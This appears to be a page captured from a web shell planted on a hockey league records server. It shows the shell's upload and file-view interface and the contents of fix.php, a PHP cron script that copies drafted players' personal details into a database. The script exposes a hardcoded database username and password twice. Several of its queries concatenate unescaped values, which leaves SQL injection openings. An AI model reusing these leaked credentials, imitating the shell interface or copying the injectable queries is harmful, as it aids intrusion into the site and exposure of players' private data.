AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 3.144.224.116


Current Path : /var/www/lhjmq-records.qc.ca/public_html/cron_compile/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/cron_compile/fix.php

#!/usr/bin/php
<?php
function log_str($log, $text){
	echo $text."\n";
	//fwrite($log, '['.date('Y-m-d G:i:s').'] '.$text."\n");
}

function get_abbrev_team_name($id)
{
	$mysql_host = "mysql-readwrite"; // master (Rum)
    $mysql_user = "lhjmq";
    $mysql_pass = "45GhiLk19cQ";
        
	$mysql_db = "lhjmq_pii";
	$stat_db = "lhjmqstats_pii";
	
	//Connection to database
	// 20060830 sb@netsimplify
	$mysql_link = mysql_connect("$mysql_host", "$mysql_user", "$mysql_pass");
	if(!$mysql_link){
		//Display an error message
		echo "Error connecting to mysql server, contact web administrator or try again later!";
		exit();
	}
	
	//Select the database
	if(!mysql_select_db("$mysql_db", $mysql_link)){
		//Display an error message
		echo "Error selecting database on mysql server, contact web administrator or try again later!";
		exit();
	}

	//Set the character sets
	mysql_query('SET character_set_results = latin1', $mysql_link);
	mysql_query('SET character_set_client = latin1', $mysql_link);	  
	
	
	$res = mysql_query('SELECT hist_abbrev  FROM `equipes_hist`  WHERE `hist_parent` ="'.$id.'" and sys_date <= "'.date('Y-m-d').'" order by sys_date desc limit 1');
	while($teamname = mysql_fetch_assoc($res)){
		$team_abbrev = mysql_escape_string($teamname['hist_abbrev']);
	}	      
	
	
	return $team_abbrev;
}

	$mysql_host = "mysql-readwrite"; // master (Rum)
	        $mysql_user = "lhjmq";
	        $mysql_pass = "45GhiLk19cQ";
	
	
	$mysql_db = "lhjmq_pii";
	$stat_db = "lhjmqstats_pii";
	
	//Connection to database
	// 20060830 sb@netsimplify
	$mysql_link = mysql_connect("$mysql_host", "$mysql_user", "$mysql_pass");
	if(!$mysql_link){
		//Display an error message
		echo "Error connecting to mysql server, contact web administrator or try again later!";
		exit();
	}
	
	//Select the database
	if(!mysql_select_db("$mysql_db", $mysql_link)){
		//Display an error message
		echo "Error selecting database on mysql server, contact web administrator or try again later!";
		exit();
	}

	//Set the character sets
	mysql_query('SET character_set_results = latin1', $mysql_link);
	mysql_query('SET character_set_client = latin1', $mysql_link);



log_str($log, 'Opened DB link to lhjmq pii database as '.$mysql_link);

//SELECT all players from the csr list 7 that are CSR type and add them to the system if the data cannot be matched

$sean_selection_table_id = 7;
$sean_selection_id = 8;
$sean_selection_date = '2008-06-07';

$players = mysql_query('SELECT csr_seance_sel_choix. * , csr_list_entries_'.$sean_selection_table_id .'. *,csr_seance_sel_choix.equipe AS equipe_id FROM `csr_seance_sel_choix` LEFT OUTER JOIN csr_list_entries_'.$sean_selection_table_id .' ON csr_seance_sel_choix.choixliste = csr_list_entries_'.$sean_selection_table_id .'.id WHERE `seance` ='.$sean_selection_id .' AND dependant =0 and nom is not null ORDER BY rd, ch');

$count = 1 ;

while($player = mysql_fetch_assoc($players)){
	$res = mysql_query('SELECT * FROM register WHERE info_lname = "'.mysql_escape_string($player['nom']).'" AND info_fname = "'.mysql_escape_string($player['prenom']).'" AND info_datenais = "'.$player['datenais'].'"');
	if(mysql_num_rows($res) == 0){
				
		$abbrev_team_name = get_abbrev_team_name(mysql_escape_string($player['equipe_id']));
		
		if (mysql_escape_string($player['pos']) == "G"){
			//joueur
			mysql_query($sql = 'INSERT INTO register (sys_date,sys_datecreate,sys_datemodify,sys_status,sys_scope,sys_owner,sys_creator,sys_modifier,info_lname,info_fname,info_datenais,info_basicrole,info_flags,info_jmannee,info_jmronde,info_jmrang,info_jmequipe)VALUES("'.$sean_selection_date.'","'.$sean_selection_date.'","'.$sean_selection_date.'",1,0,8,8,8,"'.mysql_escape_string($player['nom']).'","'.mysql_escape_string($player['prenom']).'","'.mysql_escape_string($player['datenais']).'",6,32,"'.mysql_escape_string($player['choixdate']).'","'.mysql_escape_string($player['rd']).'","'.$count.'","'.$abbrev_team_name.'")');
		}
		else
		{
			//gardien but
			mysql_query($sql = 'INSERT INTO register (sys_date,sys_datecreate,sys_datemodify,sys_status,sys_scope,sys_owner,sys_creator,sys_modifier,info_lname,info_fname,info_datenais,info_basicrole,info_flags,info_jmannee,info_jmronde,info_jmrang,info_jmequipe)VALUES("'.$sean_selection_date.'","'.$sean_selection_date.'","'.$sean_selection_date.'",1,0,8,8,8,"'.mysql_escape_string($player['nom']).'","'.mysql_escape_string($player['prenom']).'","'.mysql_escape_string($player['datenais']).'",4,32,"'.mysql_escape_string($player['choixdate']).'","'.mysql_escape_string($player['rd']).'","'.$count.'","'.$abbrev_team_name.'")');
		}
		echo $sql."\n";
		$id_register = mysql_insert_id();
		mysql_query($sql = 'INSERT INTO register_physics (id_register,sys_date,sys_datecreate,sys_datemodify,sys_status,sys_scope,sys_owner,sys_creator,sys_modifier,phys_height,phys_weight,phys_shot)VALUES('.$id_register.', "'.$sean_selection_date.'","'.$sean_selection_date.'","'.$sean_selection_date.'",1,0,8,8,8,"'.mysql_escape_string($player['taille']).'","'.mysql_escape_string($player['poids']).'","'.mysql_escape_string($player['tir'] == 'D' ? 1 : 0).'")');
		echo $sql."\n";
		echo "\n";
		
		/*mysql_query($sql = 'INSERT INTO register_locations (id_register,sys_date,sys_datecreate,sys_datemodify,sys_status,sys_scope,sys_owner,sys_creator,sys_modifier,loc_title,loc_city,loc_province,loc_country,loc_type)VALUES('.$id_register.', "'.date('Y-m-d').'","'.date('Y-m-d').'","'.date('Y-m-d').'",1,0,8,8,8,"'.mysql_escape_string($player['city']).', '.mysql_escape_string($player['province']).'","'.mysql_escape_string($player['city']).'","'.mysql_escape_string($player['province']).'","'.mysql_escape_string($player['country']).'",2)');
		echo $sql."\n";
		echo "\n";		*/
		
	}else{		
		$row = mysql_fetch_assoc($res);
		$id_register = $row['id'];
		$res = mysql_query('SELECT * FROM register_physics WHERE id_register = '.$id_register);
		if(mysql_num_rows($res) == 0){
			mysql_query($sql = 'INSERT INTO register_physics (id_register,sys_date,sys_datecreate,sys_datemodify,sys_status,sys_scope,sys_owner,sys_creator,sys_modifier,phys_height,phys_weight,phys_shot)VALUES('.$id_register.', "'.$sean_selection_date.'","'.$sean_selection_date.'","'.$sean_selection_date.'",1,0,8,8,8,"'.mysql_escape_string($player['taille']).'","'.mysql_escape_string($player['poids']).'","'.mysql_escape_string($player['tir'] == 'D' ? 1 : 0).'")');
			echo $sql."\n";
			echo "\n";
		}
	}
	
	$count = $count + 1;
}

//Disconnect from the database
echo "\n";
mysql_close($mysql_link);
log_str($log, 'Closed DB link to lhjmq pii database');
?>